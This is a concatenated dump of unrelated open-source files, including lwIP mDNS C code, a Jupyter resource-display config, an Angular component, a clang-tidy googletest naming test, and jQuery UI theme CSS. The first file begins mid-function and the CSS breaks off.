mdns_domain_add_label(domain, dnssd_protos[service->proto], (u8_t)strlen(dnssd_protos[service->proto])); LWIP_ERROR("mdns_build_service_domain: Failed to add label", (res == ERR_OK), return res); return mdns_add_dotlocal(domain); } #if LWIP_MDNS_SEARCH /** * Build domain name for a request * @param domain Where to write the domain name * @param request The request struct, containing service name, type and protocol * @param include_name Whether to include the service name in the domain * @return ERR_OK if domain was written. If service name is included, * \<name\>.\<type\>.\<proto\>.local. will be written, otherwise \<type\>.\<proto\>.local. * An err_t is returned on error. */ err_t mdns_build_request_domain(struct mdns_domain *domain, struct mdns_request *request, int include_name) { err_t res; memset(domain, 0, sizeof(struct mdns_domain)); if (include_name) { res = mdns_domain_add_label(domain, request->name, (u8_t)strlen(request->name)); LWIP_ERROR("mdns_build_request_domain: Failed to add label", (res == ERR_OK), return res); } res = mdns_domain_add_domain(domain, &request->service); LWIP_ERROR("mdns_build_request_domain: Failed to add domain", (res == ERR_OK), return res); res = mdns_domain_add_label(domain, dnssd_protos[request->proto], (u8_t)strlen(dnssd_protos[request->proto])); LWIP_ERROR("mdns_build_request_domain: Failed to add label", (res == ERR_OK), return res); return mdns_add_dotlocal(domain); } #endif /** * Return bytes needed to write before jump for best result of compressing supplied domain * against domain in outpacket starting at specified offset. * If a match is found, offset is updated to where to jump to * @param pbuf Pointer to pbuf with the partially constructed DNS packet * @param offset Start position of a domain written earlier. If this location is suitable * for compression, the pointer is updated to where in the domain to jump to. * @param domain The domain to write * @return Number of bytes to write of the new domain before writing a jump to the offset. * If compression can not be done against this previous domain name, the full new * domain length is returned. */ u16_t mdns_compress_domain(struct pbuf *pbuf, u16_t *offset, struct mdns_domain *domain) { struct mdns_domain target; u16_t target_end; u8_t target_len; u8_t writelen = 0; u8_t *ptr; if (pbuf == NULL) { return domain->length; } target_end = mdns_readname(pbuf, *offset, &target); if (target_end == MDNS_READNAME_ERROR) { return domain->length; } target_len = (u8_t)(target_end - *offset); ptr = domain->name; while (writelen < domain->length) { u8_t domainlen = (u8_t)(domain->length - writelen); u8_t labellen; if (domainlen <= target.length && domainlen > DOMAIN_JUMP_SIZE) { /* Compare domains if target is long enough, and we have enough left of the domain */ u8_t targetpos = (u8_t)(target.length - domainlen); if ((targetpos + DOMAIN_JUMP_SIZE) >= target_len) { /* We are checking at or beyond a jump in the original, stop looking */ break; } if (target.length >= domainlen && memcmp(&domain->name[writelen], &target.name[targetpos], domainlen) == 0) { *offset += targetpos; return writelen; } } /* Skip to next label in domain */ labellen = *ptr; writelen += 1 + labellen; ptr += 1 + labellen; } /* Nothing found */ return domain->length; } /** * Write domain to outpacket. Compression will be attempted, * unless domain->skip_compression is set. * @param outpkt The outpacket to write to * @param domain The domain name to write * @return ERR_OK on success, an err_t otherwise */ err_t mdns_write_domain(struct mdns_outpacket *outpkt, struct mdns_domain *domain) { int i; err_t res; u16_t writelen = domain->length; u16_t jump_offset = 0; u16_t jump; if (!domain->skip_compression) { for (i = 0; i < NUM_DOMAIN_OFFSETS; i++) { u16_t offset = outpkt->domain_offsets[i]; if (offset) { u16_t len = mdns_compress_domain(outpkt->pbuf, &offset, domain); if (len < writelen) { writelen = len; jump_offset = offset; } } } } if (writelen) { /* Write uncompressed part of name */ res = pbuf_take_at(outpkt->pbuf, domain->name, writelen, outpkt->write_offset); if (res != ERR_OK) { return res; } /* Store offset of this new domain */ for (i = 0; i < NUM_DOMAIN_OFFSETS; i++) { if (outpkt->domain_offsets[i] == 0) { outpkt->domain_offsets[i] = outpkt->write_offset; break; } } outpkt->write_offset += writelen; } if (jump_offset) { /* Write jump */ jump = lwip_htons(DOMAIN_JUMP | jump_offset); res = pbuf_take_at(outpkt->pbuf, &jump, DOMAIN_JUMP_SIZE, outpkt->write_offset); if (res != ERR_OK) { return res; } outpkt->write_offset += DOMAIN_JUMP_SIZE; } return ERR_OK; } #endif /* LWIP_MDNS_RESPONDER */
{ "pile_set_name": "Github" }
import os from traitlets import Bool from traitlets import default from traitlets import Dict from traitlets import Float from traitlets import Int from traitlets import List from traitlets import TraitType from traitlets import Union from traitlets.config import Configurable try: # Traitlets >= 4.3.3 from traitlets import Callable except ImportError: from .utils import Callable class PSUtilMetric(TraitType): """A trait describing the format to specify a metric from the psutil package""" info_text = "A dictionary specifying the function/method name, any keyword arguments, and if a named tuple is returned, which attribute of the named tuple to select" def validate(self, obj, value): if isinstance(value, dict): keys = list(value.keys()) if "name" in keys: keys.remove("name") if all(key in ["kwargs", "attribute"] for key in keys): return value self.error(obj, value) class ResourceUseDisplay(Configurable): """ Holds server-side configuration for nbresuse """ process_memory_metrics = List( trait=PSUtilMetric(), default_value=[{"name": "memory_info", "attribute": "rss"}], ) system_memory_metrics = List( trait=PSUtilMetric(), default_value=[{"name": "virtual_memory", "attribute": "total"}], ) process_cpu_metrics = List( trait=PSUtilMetric(), default_value=[{"name": "cpu_percent", "kwargs": {"interval": 0.05}}], ) system_cpu_metrics = List( trait=PSUtilMetric(), default_value=[{"name": "cpu_count"}] ) mem_warning_threshold = Float( default_value=0.1, help=""" Warn user with flashing lights when memory usage is within this fraction memory limit. For example, if memory limit is 128MB, `mem_warning_threshold` is 0.1, we will start warning the user when they use (128 - (128 * 0.1)) MB. Set to 0 to disable warning. """, ).tag(config=True) mem_limit = Union( trait_types=[Int(), Callable()], help=""" Memory limit to display to the user, in bytes. Can also be a function which calculates the memory limit. Note that this does not actually limit the user's memory usage! Defaults to reading from the `MEM_LIMIT` environment variable. If set to 0, the max memory available is displayed. """, ).tag(config=True) @default("mem_limit") def _mem_limit_default(self): return int(os.environ.get("MEM_LIMIT", 0)) track_cpu_percent = Bool( default_value=False, help=""" Set to True in order to enable reporting of CPU usage statistics. """, ).tag(config=True) cpu_warning_threshold = Float( default_value=0.1, help=""" Warn user with flashing lights when CPU usage is within this fraction CPU usage limit. For example, if CPU limit is 150%, `cpu_warning_threshold` is 0.1, we will start warning the user when they use (150 - (150 * 0.1)) %. Set to 0 to disable warning. """, ).tag(config=True) cpu_limit = Union( trait_types=[Float(), Callable()], default_value=0, help=""" CPU usage limit to display to the user. Note that this does not actually limit the user's CPU usage! Defaults to reading from the `CPU_LIMIT` environment variable. If set to 0, the total CPU count available is displayed. """, ).tag(config=True) @default("cpu_limit") def _cpu_limit_default(self): return float(os.environ.get("CPU_LIMIT", 0))
{ "pile_set_name": "Github" }
'use strict'; var stringify = require('./stringify'); var parse = require('./parse'); var formats = require('./formats'); module.exports = { formats: formats, parse: parse, stringify: stringify };
{ "pile_set_name": "Github" }
# inflight Add callbacks to requests in flight to avoid async duplication ## USAGE ```javascript var inflight = require('inflight') // some request that does some stuff function req(key, callback) { // key is any random string. like a url or filename or whatever. // // will return either a falsey value, indicating that the // request for this key is already in flight, or a new callback // which when called will call all callbacks passed to inflightk // with the same key callback = inflight(key, callback) // If we got a falsey value back, then there's already a req going if (!callback) return // this is where you'd fetch the url or whatever // callback is also once()-ified, so it can safely be assigned // to multiple events etc. First call wins. setTimeout(function() { callback(null, key) }, 100) } // only assigns a single setTimeout // when it dings, all cbs get called req('foo', cb1) req('foo', cb2) req('foo', cb3) req('foo', cb4) ```
{ "pile_set_name": "Github" }
<html> <head> <title>html2ps/html2pdf error message</title> <style> body { color:#000; background-color:#fff; margin:10px; font-family:arial, helvetica, sans-serif; color:#000; font-size:12px; line-height:18px; } p,td { color:#000; font-size:12px; line-height:18px; margin-top:3px; vertical-align: top; } h1 { font-family:arial, helvetica, sans-serif; color:#669; font-size:27px; letter-spacing:-1px; margin-top:12px; margin-bottom:12px; } tr.odd { background-color: #f0f0f0; } tr.even { background-color: #ffffff; } td { padding: 3px; } </style> </head> <body> <h1>Error</h1> <p> 'exec' function is disabled in your PHP configuration. You will not be able to generate PDF using <b>PDF (Ghostscript, level 1.2)</b> or <b>PDF (Ghostscript, level 1.4)</b> output methods, as these output methods require GNU Ghostscript or AFPL Ghoscript executables to be run on your server. <p> <table> <tr class="odd"> <th width="20%">Problem</th><th>Solution</th> </tr> <tr class="even"> <td rowspan="2">'exec' function is disabled (please note that it have nothing to do with the PHP <i>safe mode</i>; particular functions can be disabled even when <i>safe mode</i> is OFF).</td> <td>Enable 'exec' function in your php.ini (refer your PHP manual or <a href="http://www.php.net">www.php.net</a> for exact instructions) </td> </tr> <tr class="odd"> <td>Try using output methods not requiring running executables on your server.</td> </tr> </table> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <selector xmlns:android="http://schemas.android.com/apk/res/android"> <item android:drawable="@drawable/egame_btn_cloes_white_press" android:state_pressed="true"></item> <item android:drawable="@drawable/egame_btn_cloes_green_normal" android:state_pressed="false"></item> </selector>
{ "pile_set_name": "Github" }
import { Component, Input } from '@angular/core'; import { Observable } from 'rxjs'; import { first, tap } from 'rxjs/operators'; import { FavoritesConfigMapper } from '../../../../store/src/favorite-config-mapper'; import { IFavoriteMetadata, UserFavorite } from '../../../../store/src/types/user-favorites.types'; import { UserFavoriteManager } from '../../../../store/src/user-favorite-manager'; import { ConfirmationDialogConfig } from '../../shared/components/confirmation-dialog.config'; import { ConfirmationDialogService } from '../../shared/components/confirmation-dialog.service'; import { EndpointsService } from '../endpoints.service'; @Component({ selector: 'app-entity-favorite-star', templateUrl: './entity-favorite-star.component.html', styleUrls: ['./entity-favorite-star.component.scss'] }) export class EntityFavoriteStarComponent { @Input() set favorite(favorite: UserFavorite<IFavoriteMetadata>) { const name = this.favoritesConfigMapper.getPrettyTypeName(favorite); this.confirmationDialogConfig.message = `Are you sure you would you like to unfavorite this ${name ? name.toLocaleLowerCase() : 'favorite'}?`; this.isFavorite$ = this.userFavoriteManager.getIsFavoriteObservable(favorite); this.pFavourite = favorite; } @Input() public confirmRemoval = false; public isFavorite$: Observable<boolean>; private confirmationDialogConfig = new ConfirmationDialogConfig('Unfavorite?', '', 'Yes', true); private pFavourite: UserFavorite<IFavoriteMetadata>; constructor( private confirmDialog: ConfirmationDialogService, public endpointsService: EndpointsService, private userFavoriteManager: UserFavoriteManager, private favoritesConfigMapper: FavoritesConfigMapper ) { } public toggleFavorite(event: Event) { event.cancelBubble = true; event.stopPropagation(); if (this.confirmRemoval) { this.isFavorite$.pipe( first(), tap(is => { if (is) { this.confirmDialog.open(this.confirmationDialogConfig, this.pToggleFavorite); } else { this.pToggleFavorite(); } }) ).subscribe(); } else { this.pToggleFavorite(); } } private pToggleFavorite = (res?: any) => { this.userFavoriteManager.toggleFavorite(this.pFavourite); } }
{ "pile_set_name": "Github" }
// RUN: %check_clang_tidy %s google-readability-avoid-underscore-in-googletest-name %t #define TEST(test_case_name, test_name) void test_case_name##test_name() #define TEST_F(test_case_name, test_name) void test_case_name##test_name() #define TEST_P(test_case_name, test_name) void test_case_name##test_name() #define TYPED_TEST(test_case_name, test_name) void test_case_name##test_name() #define TYPED_TEST_P(test_case_name, test_name) void test_case_name##test_name() #define FRIEND_TEST(test_case_name, test_name) void test_case_name##test_name() TEST(TestCaseName, Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:20: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST(TestCaseName, DISABLED_Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:20: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST(TestCaseName, Illegal_Test_Name) {} // CHECK-MESSAGES: :[[@LINE-1]]:20: warning: avoid using "_" in test name "Illegal_Test_Name" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST(Illegal_TestCaseName, TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:6: warning: avoid using "_" in test case name "Illegal_TestCaseName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST(Illegal_Test_CaseName, TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:6: warning: avoid using "_" in test case name "Illegal_Test_CaseName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST(Illegal_TestCaseName, Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:6: warning: avoid using "_" in test case name "Illegal_TestCaseName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] // CHECK-MESSAGES: :[[@LINE-2]]:28: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_F(TestCaseFixtureName, Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:29: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_F(TestCaseFixtureName, DISABLED_Illegal_Test_Name) {} // CHECK-MESSAGES: :[[@LINE-1]]:29: warning: avoid using "_" in test name "Illegal_Test_Name" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_F(TestCaseFixtureName, Illegal_Test_Name) {} // CHECK-MESSAGES: :[[@LINE-1]]:29: warning: avoid using "_" in test name "Illegal_Test_Name" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_F(Illegal_TestCaseFixtureName, TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: avoid using "_" in test case name "Illegal_TestCaseFixtureName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_F(Illegal_TestCaseFixtureName, Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: avoid using "_" in test case name "Illegal_TestCaseFixtureName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] // CHECK-MESSAGES: :[[@LINE-2]]:37: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_F(Illegal_Test_CaseFixtureName, TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: avoid using "_" in test case name "Illegal_Test_CaseFixtureName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_P(ParameterizedTestCaseFixtureName, Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:42: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_P(ParameterizedTestCaseFixtureName, DISABLED_Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:42: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_P(ParameterizedTestCaseFixtureName, Illegal_Test_Name) {} // CHECK-MESSAGES: :[[@LINE-1]]:42: warning: avoid using "_" in test name "Illegal_Test_Name" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_P(Illegal_ParameterizedTestCaseFixtureName, TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: avoid using "_" in test case name "Illegal_ParameterizedTestCaseFixtureName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_P(Illegal_ParameterizedTestCaseFixtureName, Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: avoid using "_" in test case name "Illegal_ParameterizedTestCaseFixtureName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] // CHECK-MESSAGES: :[[@LINE-2]]:50: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TEST_P(Illegal_Parameterized_TestCaseFixtureName, TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: avoid using "_" in test case name "Illegal_Parameterized_TestCaseFixtureName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST(TypedTestCaseName, Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:31: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST(TypedTestCaseName, DISABLED_Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:31: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST(TypedTestCaseName, Illegal_Test_Name) {} // CHECK-MESSAGES: :[[@LINE-1]]:31: warning: avoid using "_" in test name "Illegal_Test_Name" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST(Illegal_TypedTestCaseName, TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:12: warning: avoid using "_" in test case name "Illegal_TypedTestCaseName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST(Illegal_TypedTestCaseName, Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:12: warning: avoid using "_" in test case name "Illegal_TypedTestCaseName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] // CHECK-MESSAGES: :[[@LINE-2]]:39: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST(Illegal_Typed_TestCaseName, TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:12: warning: avoid using "_" in test case name "Illegal_Typed_TestCaseName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST_P(TypeParameterizedTestCaseName, Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:45: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST_P(TypeParameterizedTestCaseName, DISABLED_Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:45: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST_P(TypeParameterizedTestCaseName, Illegal_Test_Name) {} // CHECK-MESSAGES: :[[@LINE-1]]:45: warning: avoid using "_" in test name "Illegal_Test_Name" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST_P(Illegal_TypeParameterizedTestCaseName, TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:14: warning: avoid using "_" in test case name "Illegal_TypeParameterizedTestCaseName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST_P(Illegal_TypeParameterizedTestCaseName, Illegal_TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:14: warning: avoid using "_" in test case name "Illegal_TypeParameterizedTestCaseName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] // CHECK-MESSAGES: :[[@LINE-2]]:53: warning: avoid using "_" in test name "Illegal_TestName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] TYPED_TEST_P(Illegal_Type_ParameterizedTestCaseName, TestName) {} // CHECK-MESSAGES: :[[@LINE-1]]:14: warning: avoid using "_" in test case name "Illegal_Type_ParameterizedTestCaseName" according to Googletest FAQ [google-readability-avoid-underscore-in-googletest-name] // Underscores are allowed to disable a test with the DISABLED_ prefix. // https://github.com/google/googletest/blob/master/googletest/docs/faq.md#why-should-test-suite-names-and-test-names-not-contain-underscore TEST(TestCaseName, TestName) {} TEST(TestCaseName, DISABLED_TestName) {} TEST_F(TestCaseFixtureName, TestName) {} TEST_F(TestCaseFixtureName, DISABLED_TestName) {} TEST_P(ParameterizedTestCaseFixtureName, TestName) {} TEST_P(ParameterizedTestCaseFixtureName, DISABLED_TestName) {} TYPED_TEST(TypedTestName, TestName) {} TYPED_TEST(TypedTestName, DISABLED_TestName) {} TYPED_TEST_P(TypeParameterizedTestName, TestName) {} TYPED_TEST_P(TypeParameterizedTestName, DISABLED_TestName) {} FRIEND_TEST(FriendTest, Is_NotChecked) {} FRIEND_TEST(Friend_Test, IsNotChecked) {} FRIEND_TEST(Friend_Test, Is_NotChecked) {}
{ "pile_set_name": "Github" }
/** * Copyright 2008 - CommonCrawl Foundation * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * **/ package org.commoncrawl.util; import java.io.IOException; import org.apache.hadoop.io.Writable; import org.apache.hadoop.io.WritableComparable; @SuppressWarnings("unchecked") public interface SequenceFileIndexWriter<KeyType extends WritableComparable, ValueType extends Writable> { /** * flush and close the index file * * @throws IOException */ void close() throws IOException; /** * index a given item * * @param keyData * key bytes * @param keyOffset * key offset * @param keyLength * key length * @param valueData * value bytes * @param valueOffset * value offset * @param valueLength * value length * @param writerPosition * the sequence writer file position for the current item */ void indexItem(byte[] keyData, int keyOffset, int keyLength, byte[] valueData, int valueOffset, int valueLength, long writerPosition) throws IOException; }
{ "pile_set_name": "Github" }
/* * jQuery UI CSS Framework 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API */ /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } .ui-helper-clearfix { display: inline-block; } /* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix { height:1%; } .ui-helper-clearfix { display:block; } /* end clearfix */ .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* Overlays */ .ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } /* * jQuery UI CSS Framework 1.8.16 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API * * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Arial,sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=6px&bgColorHeader=cc0000&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=15&borderColorHeader=e3a1a1&fcHeader=ffffff&iconColorHeader=ffffff&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=eeeeee&fcContent=333333&iconColorContent=cc0000&bgColorDefault=eeeeee&bgTextureDefault=04_highlight_hard.png&bgImgOpacityDefault=100&borderColorDefault=d8dcdf&fcDefault=004276&iconColorDefault=cc0000&bgColorHover=f6f6f6&bgTextureHover=04_highlight_hard.png&bgImgOpacityHover=100&borderColorHover=cdd5da&fcHover=111111&iconColorHover=cc0000&bgColorActive=ffffff&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=eeeeee&fcActive=cc0000&iconColorActive=cc0000&bgColorHighlight=fbf8ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcd3a1&fcHighlight=444444&iconColorHighlight=004276&bgColorError=f3d8d8&bgTextureError=08_diagonals_thick.png&bgImgOpacityError=75&borderColorError=cc0000&fcError=2e2e2e&iconColorError=cc0000&bgColorOverlay=a6a6a6&bgTextureOverlay=09_dots_small.png&bgImgOpacityOverlay=65&opacityOverlay=40&bgColorShadow=333333&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=10&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px */ /* Component containers ----------------------------------*/ .ui-widget { font-family: Arial,sans-serif; font-size: 1.1em; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Arial,sans-serif; font-size: 1em; } .ui-widget-content { border: 1px solid #eeeeee; background: #ffffff url(images/ui-bg_flat_75_ffffff_40x100.png) 50% 50% repeat-x; color: #333333; } .ui-widget-content a { color: #333333; } .ui-widget-header { border: 1px solid #e3a1a1; background: #cc0000 url(images/ui-bg_highlight-soft_15_cc0000_1x100.png) 50% 50% repeat-x; color: #ffffff; font-weight: bold; } .ui-widget-header a { color: #ffffff; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #d8dcdf; background: #eeeeee url(images/ui-bg_highlight-hard_100_eeeeee_1x100.png) 50% 50% repeat-x; font-weight: bold; color: #004276; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #004276; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #cdd5da; background: #f6f6f6 url(images/ui-bg_highlight-hard_100_f6f6f6_1x100.png) 50% 50% repeat-x; font-weight: bold; color: #111111; } .ui-state-hover a, .ui-state-hover a:hover { color: #111111; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #eeeeee; background: #ffffff url(images/ui-bg_flat_65_ffffff_40x100.png) 50% 50% repeat-x; font-weight: bold; color: #cc0000; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #cc0000; text-decoration: none; } .ui-widget :active { outline: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #fcd3a1; background: #fbf8ee url(images/ui-bg_glass_55_fbf8ee_1x400.png) 50% 50% repeat-x; color: #444444; } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #444444; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #cc0000; background: #f3d8d8 url(images/ui-bg_diagonals-thick_75_f3d8d8_40x40.png) 50% 50% repeat; color: #2e2e2e; } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #2e2e2e; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #2e2e2e; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_cc0000_256x240.png); } .ui-widget-content .ui-icon {background-image: url(images/ui-icons_cc0000_256x240.png); } .ui-widget-header .ui-icon {background-image: url(images/ui-icons_ffffff_256x240.png); } .ui-state-default .ui-icon { background-image: url(images/ui-icons_cc0000_256x240.png); } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_cc0000_256x240.png); } .ui-state-active .ui-icon {background-image: url(images/ui-icons_cc0000_256x240.png); } .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_004276_256x240.png); } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_cc0000_256x240.png); } /* positioning */ .ui-icon-carat-1-n { background-position: 0 0; } .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-icon-carat-1-e { background-position: -32px 0; } .ui-icon-carat-1-se { background-position: -48px 0; } .ui-icon-carat-1-s { background-position: -64px 0; } .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-icon-carat-1-w { background-position: -96px 0; } .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 0 -48px; } 